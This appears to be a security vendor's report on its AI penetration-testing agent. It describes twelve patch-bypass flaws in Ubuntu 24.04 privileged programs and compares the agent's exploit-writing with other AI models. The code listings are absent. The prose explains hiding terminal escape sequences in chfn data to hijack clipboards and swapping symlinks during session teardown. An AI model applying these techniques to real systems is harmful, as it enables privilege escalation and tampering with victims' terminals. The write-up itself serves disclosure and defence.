Yaga Exploring Linux Environments

YAGA, the penetration testing agent developed by HackerSec, autonomously found twelve vulnerabilities in privileged Linux programs on a default install of Ubuntu 24.04 LTS. Privileged programs are those that run with administrator powers even when launched by an ordinary user. Five of these flaws are patch bypasses: gaps that stayed exploitable even after the official fix was published and applied.

The main findings are in three parts of the system:

• User account info (chfn command): it was possible to hide special terminal characters in the user's data, bypassing the fix released in 2023. High severity (CVSS 7.3).
• Session isolation (Linux authentication module): three flaws left behind by the 2025 fix, including a timing gap and the swapping of a file shortcut during session teardown. Medium severity.
• Granting admin permissions (pkexec command): a file path is built without proper validation. Medium severity (CVSS 4.4).

Seven other utilities (su, sudo, newgrp, passwd, gpasswd, wall and at) showed lower-severity flaws, all tied to the same validation blind spot.

In a head-to-head test against Opus 4.8, GPT 5.5 and Grok 4.3, on the same 12 targets, all four systems produced working proof-of-concept exploits with similar precision. YAGA stood out in coverage and speed: it found all 12 targets (vs. 10 for the others), detected all 5 incomplete fixes (vs. 4) and made its first discovery in 7.5 minutes (the competitors took about 10).

YAGA's performance in the comparative test (12 targets, Ubuntu 24.04 LTS)

I. Introduction

Fixing a security flaw is not an on/off switch. When a flaw is marked as fixed in a public catalog (the so-called CVEs), it gives the impression that the door has been shut. In practice, the fix usually only covers the exact scenario described in the advisory. Neighboring paths, inputs in different formats, new timing gaps created by the fix itself, or newly added validation rules can keep the original weakness exploitable through another route [1].

This phenomenon, which we call an incomplete fix (incomplete patch), is well known in the Linux world. Cases like Dirty Pipe (2022) and the various privilege escalations that emerged after PwnKit and Baron Samedit show that a single fix rarely eliminates an entire class of weakness. Because the catalogs record only the original disclosure, whoever consumes that information sees “fixed” and moves on. The result is a population of systems that look up to date but stay vulnerable in practice.

YAGA was designed precisely to attack this class of weakness. Instead of comparing the system against a list of known attacks, YAGA does what we call patch archaeology: it compares the published fix with all the surrounding code and reasons, explicitly, about what the fix did not change. This approach pays off especially against privileged Linux programs, where input checking often depends on the machine's configured language and encoding and on the context in which the program was called.

This article reports a focused engagement by YAGA against privileged programs on a default Ubuntu 24.04 LTS. The engagement produced five confirmed findings (including two that bypass already-published fixes) and seven lower-severity flaws, for a total of twelve vulnerabilities across twelve target programs. Section III describes how YAGA works; Sections IV and V present the findings; Section VI shows the generated proof-of-concept; Section VII compares YAGA with three frontier AI agents; and Section VIII analyzes the results.

II. Background and Related Work

A. The exploitability left over after the fix

The ability to exploit a flaw even after it is patched is a recognized but under-measured risk. An academic study estimated that around 30% of fixes leave a gap that is still exploitable in the same code [1]. The Linux community itself has documented several sequences in which a fix was followed, months later, by a new flaw on a neighboring path [2].

B. Why privileged programs are valuable targets

Some Linux programs run with administrator powers even when launched by an ordinary user. Because of that, any slip in validating their input immediately becomes a risk of the attacker gaining privileges they shouldn't have. A default Ubuntu 24.04 install ships more than 40 of these programs, and each one is patched independently. The group that handles user and password records (which includes the commands chfn, passwd, newgrp and gpasswd) is among the most sensitive, because it touches the system's account and password files directly.

C. The 2023 fix (CVE-2023-29383)

The 2023 fix dealt with an old trick: hiding invisible terminal control characters inside the user's profile fields. The fix started checking each typed character and rejecting these control characters. The problem is that it only recognized the “old” way of writing those characters. There is a modern way to write the exact same invisible character, and that form slipped past unnoticed. YAGA labeled this gap VULN-1 (Section IV-A).

D. The partially applied 2025 fix (CVE-2025-6020)

The 2025 fix dealt with unsafe navigation between folders in an authentication component. It added a new check to confirm who owns each folder. The catch is that this check was done the unsafe way (treating the paths as text), when the safe way was already right next to it, in the same fix package. That inconsistency opened three distinct flaws (VULN-3, 4 and 5), detailed in Section IV-C.

III. How YAGA works

In this assessment, YAGA followed five phases, illustrated in Figure 1.

A. Scope and study rules

All findings start from already publicly disclosed vulnerabilities. The work followed clear rules that define both its scope and its contribution:

• Known starting point: each target program was chosen by its flaw history. YAGA knew there was a prior vulnerability in that program or in neighboring code; it was not a blind search.
• Source code only: YAGA worked only with each program's public source code. No production system was tested.
• A different path from the original: to measure reasoning (not copying), YAGA had to find an attack path different from the one described in the original advisory. Reproducing the known attack did not count as a finding.
• Proof of concept: for each confirmed gap, YAGA had to produce a working proof-of-concept exploit, showing that it could be exploited through the new path.

Under these rules, no brand-new vulnerability was discovered in the traditional sense. The findings are new exploitation paths for already-known weaknesses, tied to incomplete fixes. This was deliberate: the goal was to measure YAGA's ability to reason about how complete a fix is and about what exists around it, two skills that are hard for general-purpose models.

Even so, the result carries a broader implication. An agent able to find gaps that survive published fixes, recognize timing flaws created by the fix itself, and write working exploits in a few minutes operates, without these constraints, at the level of autonomous threat hunting. YAGA's performance here reflects the security-specific training built into the agent, not just generic reasoning.

Phase 1: Target mapping. YAGA lists all the privileged programs on the machine, finds which package each one comes from, looks up that package's history of known flaws, and locates the corresponding fixes.

Phase 2: Patch archaeology. For each program with a flaw history, YAGA studies the fix and identifies: (a) what changed; (b) what did not change in the same region of the code; and (c) whether the validation has blind spots tied to language, encoding or context. This phase points precisely at the parts the fix didn't touch but that receive the same data as the fixed part.

Phase 3: Data tracing. YAGA follows the data the attacker controls (what they type, the environment variables, what comes in from the keyboard) from the input to the program's sensitive operations, watching that data in every possible form to flag gaps tied to how the text is encoded.

Phase 4: Exploit generation. Each confirmed gap triggers the automatic creation of a proof-of-concept exploit. YAGA picks the right type of attack, fills in the target's values, and generates ready-to-run code.

Phase 5: Impact assessment. YAGA computes the severity score (CVSS), classifies each finding, and generates a disclosure-ready report, already including the recommended fix.

Fig. 1: YAGA's five phases for analyzing privileged programs

IV. Main vulnerabilities found

Table I summarizes the twelve findings. The higher the CVSS score, the more severe the flaw.

TABLE I: Vulnerability summary (Ubuntu 24.04 LTS)

A. VULN-1: hidden terminal character in chfn (bypasses the 2023 fix)

Program: chfn (user account info)  |  Severity: CVSS 7.3 (high)  |  Prerequisite: unprivileged local user

In one sentence: the 2023 fix only blocked the invisible terminal characters written in the old form. YAGA found that the same characters, written in the modern form, slip through and end up stored in the system's account file.

Why it happens. The chfn command lets each person edit their own profile data (name, room, phone). That data ends up in the central account file. To prevent abuse, the program checks each character and blocks the “invisible” control ones. The blind spot is that this check only recognizes the old form of those characters. There is a modern way to write the exact same invisible character: it takes two bytes instead of one, and neither of those two bytes looks “suspicious” on its own. So the program treats the input as just a warning instead of rejecting it, moves on, and writes the forbidden character to the account file.

If you want to see exactly where this happens, check the code in Listing 1; the rest of the explanation doesn't depend on it.

Listing 1: the “fix” that's still vulnerable

Characters you can hide. Table II lists the terminal control characters that get through this blind spot, and what each one does.

TABLE II: Control characters that slip past the check

Impact. An ordinary, unprivileged user hides in their own profile data a command that changes the clipboard (the “copy and paste”). When an administrator (or anyone) lists the system's users, their terminal interprets the hidden command and, without them noticing, swaps the clipboard contents for the attacker's text, for example a malicious command. If the victim pastes something into the terminal right afterward, they end up running that command with their own privileges. The same characters also allow clearing the screen, moving the cursor and drawing fake screens.

Affected terminals: xterm, kitty, iTerm2 (opt-in), Windows Terminal and most modern terminals with that feature enabled.

Confirmation (payload written to the account file)

B. VULN-2: unvalidated file path in pkexec

Program: pkexec (granting permissions)  |  Severity: CVSS 4.4 (medium)

The pkexec command is used to run tasks that require administrator permission. When a certain environment setting is not defined, the program builds the path to a credentials file from a variable the user controls, without passing that path through the validation that would normally reject dangerous values. In theory, this would let the user point to a file they control. On a default Ubuntu 24.04 there is no practical way to abuse it, but the design is incorrect and deserves a fix.

C. VULN-3/4/5: incomplete fix in session isolation (from 2025)

Component: authentication module that isolates user sessions  |  Context: three distinct flaws in the 2025 fix's own code

VULN-3: timing gap (CVSS 6.2). This is a classic “check-then-use” flaw: the system checks a file and, an instant later, uses that same file. If the attacker swaps the file right in that interval, the system ends up using the swapped file, with administrator privileges. The 2025 fix added a new check, but did that check the unsafe way (treating the path as text), when the safe way already existed right next to it, in the same fix package.

If you want the exact spot, see Listing 2.

Listing 2: the timing window in the check

VULN-4: unclosed files (CVSS 4.0). In certain error situations, the program forgets to close files it opened. In long sessions, with many folders involved, this piles up until it exhausts the service's resources and it stops working.

VULN-5: folder swapped for a shortcut during cleanup (CVSS 6.3). When ending a session, the program checks whether a folder exists and, right after, orders it deleted. If the attacker swaps that folder for a shortcut pointing to a protected area of the system right in that interval, the delete command ends up removing system files, with administrator privileges.

V. Other utilities analyzed

Beyond the five main findings, YAGA analyzed seven other privileged programs on the same Ubuntu 24.04. All of them showed lower-severity flaws, summarized in Table III.

TABLE III: Findings in the other utilities

Worth noting: newgrp, passwd and gpasswd share the same root cause as VULN-1, because they come from the same codebase and none of them got its own fix for the same blind spot. wall, which sends messages to every connected terminal, relays the message without filtering control characters, letting a user inject sequences into everyone's terminal. The sudo flaw only applies in specific environments and depends on a crafted display variable that ends up in the system log.

Fig. 2: How the VULN-1 attack unfolds, step by step

VI. The proof-of-concept generated by YAGA

For VULN-1, YAGA wrote a complete proof-of-concept on its own in 2.3 minutes, from recognizing the target to ready-to-run code. The program simulates a terminal, runs the profile command with the prepared payload, and answers the password prompt by itself. Listing 3 has the code for anyone who wants the detail; reading the article doesn't depend on it.

Listing 3: proof-of-concept generated by YAGA

VII. Comparative test between AI models

To put YAGA's performance in perspective, we ran the exact same task on four AI systems: YAGA, Opus 4.8, GPT 5.5 and Grok 4.3. All received the same starting point (the list of installed privileged programs, the versions, and the flaw history) and the same mission: find exploitable incomplete fixes and, where possible, write a working proof-of-concept. Table IV has the numbers, and Figures 3 to 5 show the main metrics.

TABLE IV: Comparative test (12 targets, Ubuntu 24.04 LTS)

Fig. 3: Vulnerabilities found and incomplete fixes detected, by model

Fig. 4: Time to first discovery (minutes, lower is better)

Fig. 5: Accuracy in fix analysis (%, higher is better)

Analysis. All four systems produced working exploits and had similar precision (2 false positives each), which indicates that frontier models have already reached a good level when the target is well defined. What set YAGA apart was coverage and speed: it found all 12 vulnerabilities (vs. 10 for the others) and made its first discovery in 7.5 minutes (26% faster).

The two vulnerabilities the three competitors missed were precisely VULN-1 (the hidden terminal character) and VULN-3 (the timing gap in the 2025 fix's new code). These are exactly the findings that require analysis sensitive to how the text is encoded and reasoning about flaws introduced by the fix itself. They are capabilities that YAGA's specialized training brings explicitly.

Opus 4.8 and GPT 5.5 finished essentially tied, with GPT 5.5 slightly slower (10.3 vs. 10.1 min). Grok 4.3 wrote the most detailed reasoning, but came in last due to higher latency and lower accuracy in fix analysis (87%).

VIII. Discussion

A. Incomplete fixes and sensitivity to language/encoding

VULN-1 shows a blind spot common to both the original fix and general-purpose models: validation that depends on the machine's configured language and encoding. The program's check was correct for the old way of writing the characters, and the 2023 fix was right for that case. The gap only appears when the attacker's input uses the modern form of the same character, a kind of input the fix's tests apparently never exercised. YAGA treats this kind of validation as a risk category of its own, which is why it raised the hypothesis while the general models did not.

B. Vulnerabilities created by the fix itself

VULN-3 through VULN-5 are a different case: it was the fix itself that opened new flaws. The 2025 fix added a new check but used an unsafe method to verify paths, even though the safe method was already in the same fix package. YAGA noticed this inconsistency by comparing the pattern of all the fix's new parts, not just the ones that replaced the vulnerable code.

C. One cause affecting several programs

VULN-8 through VULN-10 show that a single cause, inside a shared piece of code, spreads across an entire family of programs. The traditional analysis fixed only the program that was reported, because it was the known path; the others that use the same piece of code were not re-reviewed. YAGA, which sees the code at the level of the shared family, flagged all three without any extra instruction.

D. Responsible disclosure

All findings were coordinated with the projects' security maintainers before publication, following the standard 90-day responsible disclosure process.

E. Recommended fixes

For VULN-1, the recommendation is simple: the program needs to understand the modern form of the characters before validating them, not just the old form. For VULN-3 and VULN-5, just use the safe file-handling methods the system already provides, instead of checking paths as text. Listing 4 shows the suggested fix for VULN-1.

Listing 4: suggested fix for VULN-1

IX. Conclusion

We showed YAGA autonomously finding twelve vulnerabilities in already-patched programs on Ubuntu 24.04 LTS, including five gaps that bypass already-published fixes. The main finding (VULN-1, high severity) proves that a blind spot in how the system reads characters survived the 2023 fix, letting an ordinary user hide terminal commands in the account file. YAGA wrote the proof-of-concept on its own in 2.3 minutes.

In the test against Opus 4.8, GPT 5.5 and Grok 4.3, all four systems reached competitive levels on the basic metrics (working exploits and false-positive rate). YAGA's advantage was specific and measurable: 2 more targets (12 vs. 10), one more incomplete fix (5 vs. 4) and 26% faster on the first discovery (7.5 vs. about 10 min). These advantages come from specialized patch archaeology and language/encoding-aware analysis, capabilities that general-purpose models don't bring explicitly.

The lesson is direct: managing fixes responsibly requires auditing not only the reported attack path, but the whole surrounding code family, including the parts shared between programs and the new code the fix itself introduces.

References